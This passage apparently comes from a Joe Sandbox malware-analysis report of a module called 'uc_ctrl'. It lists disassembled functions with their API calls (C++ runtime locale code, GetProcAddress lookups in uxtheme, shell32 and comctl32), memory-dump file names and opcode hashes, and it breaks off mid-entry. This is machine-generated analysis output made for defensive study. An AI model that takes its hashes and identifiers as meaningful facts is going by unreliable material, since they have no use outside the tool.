                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEFD91B
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEFD943
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@D@std@@@std@@@std@@ExceptionGetcat@?$time_put@H_prolog3ThrowU?$char_traits@V42@@V?$ostreambuf_iterator@Vfacet@locale@2@
                                                                                              • String ID:
                                                                                              • API String ID: 2290569268-0
                                                                                              • Opcode ID: c8da1e18bdcd285a714458fd1de18a522d80e27ec8697546979fb2727fa2438f
                                                                                              • Instruction ID: a1a99c6429fcf5b5a326e693876da9a8cbd332c2760b57a57fbf3f6fdec0c4e1
                                                                                              • Opcode Fuzzy Hash: c8da1e18bdcd285a714458fd1de18a522d80e27ec8697546979fb2727fa2438f
                                                                                              • Instruction Fuzzy Hash: 5E012839B102148BCF05EBA4C8206FD7B76AF89768F35041CD021ABB80DF78DE09A795
                                                                                              Function 6CEFD81A Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFD821
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEFAB28,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E), ref: 6CEFD82C
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEFD844
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • ?_Getcat@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6CEFD864
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEFD880
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEFD8A8
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@D@std@@@std@@@std@@ExceptionGetcat@?$time_get@H_prolog3ThrowU?$char_traits@V42@@V?$istreambuf_iterator@Vfacet@locale@2@
                                                                                              • String ID:
                                                                                              • API String ID: 1218496395-0
                                                                                              • Opcode ID: c4091c6659b43ebfc8d5707d514537a649da098105c13c59acef545da2629f05
                                                                                              • Instruction ID: 19ce0146d83c0641dd86b480e79a601265bf1f05e6f478c6569c012939eb4f1b
                                                                                              • Opcode Fuzzy Hash: c4091c6659b43ebfc8d5707d514537a649da098105c13c59acef545da2629f05
                                                                                              • Instruction Fuzzy Hash: 5201F539B002189BDF05EBA488506FDBB76BF88758F34051CD020ABB80DF78DE499795
                                                                                              Function 6CEED96D Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEED974
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEA4F,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEED97F
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEED997
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • ?_Getcat@?$ctype@G@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6CEED9B7
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEED9D3
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEED9FB
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionG@std@@Getcat@?$ctype@H_prolog3ThrowV42@@Vfacet@locale@2@
                                                                                              • String ID:
                                                                                              • API String ID: 2709885872-0
                                                                                              • Opcode ID: 79f6c96557672f0d36d20a6b8758572e4554786acadb52dad658ab436204de13
                                                                                              • Instruction ID: dcef9bccb34b468f286d7634837762546c3a96109b585d8322c19b388d245d58
                                                                                              • Opcode Fuzzy Hash: 79f6c96557672f0d36d20a6b8758572e4554786acadb52dad658ab436204de13
                                                                                              • Instruction Fuzzy Hash: 1701D275B002148BCF05EBA488206FDB676AF8C798F34051CD020ABB80DF79DE099795
                                                                                              Function 6CEF9AB5 Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9ABC
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE90D,00000010,6CEE80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?,0000003F), ref: 6CEF9AC7
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9ADF
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • ?_Getcat@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6CEF9AFF
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEF9B1B
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9B43
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$time_get@_H_prolog3ThrowU?$char_traits@_V42@@V?$istreambuf_iterator@_Vfacet@locale@2@W@std@@@std@@@std@@
                                                                                              • String ID:
                                                                                              • API String ID: 1530604533-0
                                                                                              • Opcode ID: 616ed8fc0f2b1db11a2535b9bbdb4dbaea817f4734eba95ee9df872e64ab1073
                                                                                              • Instruction ID: b5a2bbb56483b735b0f6b01701dd99a938c0acb8f6e8a5f40ba045fd007df1a2
                                                                                              • Opcode Fuzzy Hash: 616ed8fc0f2b1db11a2535b9bbdb4dbaea817f4734eba95ee9df872e64ab1073
                                                                                              • Instruction Fuzzy Hash: 0C01D235B202148BCF05EFA488606FDB776AF88758F24051CD420ABB80DF74DD09AB99
                                                                                              Function 6CEF9BEB Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9BF2
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAA0,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9BFD
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9C15
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • ?_Getcat@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6CEF9C35
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEF9C51
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9C79
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionG@std@@@std@@@std@@Getcat@?$num_get@H_prolog3ThrowU?$char_traits@V42@@V?$istreambuf_iterator@Vfacet@locale@2@
                                                                                              • String ID:
                                                                                              • API String ID: 2638404470-0
                                                                                              • Opcode ID: ea2ba769e29ccf3c0faf6e55d29e66c8bce263038063028d1683e2a23e44267a
                                                                                              • Instruction ID: d9dfff26eb748664bda854dab0a96e71198a83ce5f75c848ab77f003bb595043
                                                                                              • Opcode Fuzzy Hash: ea2ba769e29ccf3c0faf6e55d29e66c8bce263038063028d1683e2a23e44267a
                                                                                              • Instruction Fuzzy Hash: 9E01D275B002158BCF05EBA089206EE76B6AF88758F65051CD021ABB80DF38DD099796
                                                                                              Function 6CEF9B50 Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9B57
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE967,00000010,6CEE80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?,0000003F), ref: 6CEF9B62
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9B7A
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • ?_Getcat@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6CEF9B9A
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEF9BB6
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9BDE
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$time_put@_H_prolog3ThrowU?$char_traits@_V42@@V?$ostreambuf_iterator@_Vfacet@locale@2@W@std@@@std@@@std@@
                                                                                              • String ID:
                                                                                              • API String ID: 4255657686-0
                                                                                              • Opcode ID: 11b5e6d34560e3be127b036e3b65f52af3f0874397ea581dffb4808db52a6ebc
                                                                                              • Instruction ID: 703a2755b7760c30c699ac34ecbe153ec93f2558e10b2e494dbcb99299cc5396
                                                                                              • Opcode Fuzzy Hash: 11b5e6d34560e3be127b036e3b65f52af3f0874397ea581dffb4808db52a6ebc
                                                                                              • Instruction Fuzzy Hash: 1A01D235B142248BCB05EFA088506ED77B6AF88758F65041CD420ABB80DF75DD099799
                                                                                              Function 6CF914AC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(uxtheme.dll), ref: 6CF914BE
                                                                                              • GetProcAddress.KERNEL32(00000000,BeginBufferedPaint), ref: 6CF914CE
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF914D7
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF914E5
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: BeginBufferedPaint$uxtheme.dll
                                                                                              • API String ID: 2061474489-1632326970
                                                                                              • Opcode ID: 9d2ff59c1226292765ce635138c0a712cfc882e48852e7f5c4e6c965ce218829
                                                                                              • Instruction ID: 38691dc6cf2102ce35585eeb63b4aebba6c428d63df58f591743d44cb0b426e7
                                                                                              • Opcode Fuzzy Hash: 9d2ff59c1226292765ce635138c0a712cfc882e48852e7f5c4e6c965ce218829
                                                                                              • Instruction Fuzzy Hash: 30F03039902215AFAF129FA4AC08B6F3F79AB0E6A57118421FD19D2110DB70D411CAE2
                                                                                              Function 6CF91CAD Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,6CF8B5DF,?,?,?,?), ref: 6CF91CBF
                                                                                              • GetProcAddress.KERNEL32(00000000,RegisterApplicationRecoveryCallback), ref: 6CF91CCF
                                                                                              • EncodePointer.KERNEL32(00000000,?,?,6CF8B5DF,?,?,?,?), ref: 6CF91CD8
                                                                                              • DecodePointer.KERNEL32(00000000,?,?,6CF8B5DF,?,?,?,?), ref: 6CF91CE6
                                                                                              Strings
                                                                                              • RegisterApplicationRecoveryCallback, xrefs: 6CF91CC9
                                                                                              • kernel32.dll, xrefs: 6CF91CBA
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: RegisterApplicationRecoveryCallback$kernel32.dll
                                                                                              • API String ID: 2061474489-202725706
                                                                                              • Opcode ID: fe5706af9967b1b2b165ab3291ef796d6331ae8ab77beac3b8b2e3a5ef76b2bc
                                                                                              • Instruction ID: 390bc5e8b50612c25e9b5e9e911c10ca8663a1b587f16d4708f26aab0f29e188
                                                                                              • Opcode Fuzzy Hash: fe5706af9967b1b2b165ab3291ef796d6331ae8ab77beac3b8b2e3a5ef76b2bc
                                                                                              • Instruction Fuzzy Hash: 7DF0543A501215ABAF029FA49D08B9E3FBDAB0A765311C025FD09E7220DB74D811CFA1
                                                                                              Function 6CF91DD3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(shell32.dll), ref: 6CF91DE5
                                                                                              • GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CF91DF5
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF91DFE
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF91E0C
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: SHGetKnownFolderPath$shell32.dll
                                                                                              • API String ID: 2061474489-2936008475
                                                                                              • Opcode ID: 5e091bc1d478cfcb387ad196b2ee64a4d559c2c9dc6732faaf45f4e4c4c6c806
                                                                                              • Instruction ID: ab2477a5cd0cae8a6400f8da743dcaf2483e3b1da2a6a6f51d1738aa92202ca1
                                                                                              • Opcode Fuzzy Hash: 5e091bc1d478cfcb387ad196b2ee64a4d559c2c9dc6732faaf45f4e4c4c6c806
                                                                                              • Instruction Fuzzy Hash: EEF05436902215ABEF12AF649C0CBAB3FBDAB4D6647108425FD08D7210DB74D811CAA1
                                                                                              Function 6CF91D6F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(shell32.dll), ref: 6CF91D81
                                                                                              • GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 6CF91D91
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF91D9A
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF91DA8
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: SHCreateItemFromParsingName$shell32.dll
                                                                                              • API String ID: 2061474489-2320870614
                                                                                              • Opcode ID: 2da7b415e2a35faccec09f923c8cb2ec9355fea6af453687f90ac2adb152d684
                                                                                              • Instruction ID: cd62b581b94faaa06e0ff287f7052346e33efa83bbcdab75526f8419fca16ed8
                                                                                              • Opcode Fuzzy Hash: 2da7b415e2a35faccec09f923c8cb2ec9355fea6af453687f90ac2adb152d684
                                                                                              • Instruction Fuzzy Hash: 2BF0B435901215ABAF119FA5EC0CB6E3EBCAB096A07108426FD04A7220DB75D802CFE1
                                                                                              Function 6CF91E37 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(comctl32.dll), ref: 6CF91E49
                                                                                              • GetProcAddress.KERNEL32(00000000,TaskDialogIndirect), ref: 6CF91E59
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF91E62
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF91E70
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
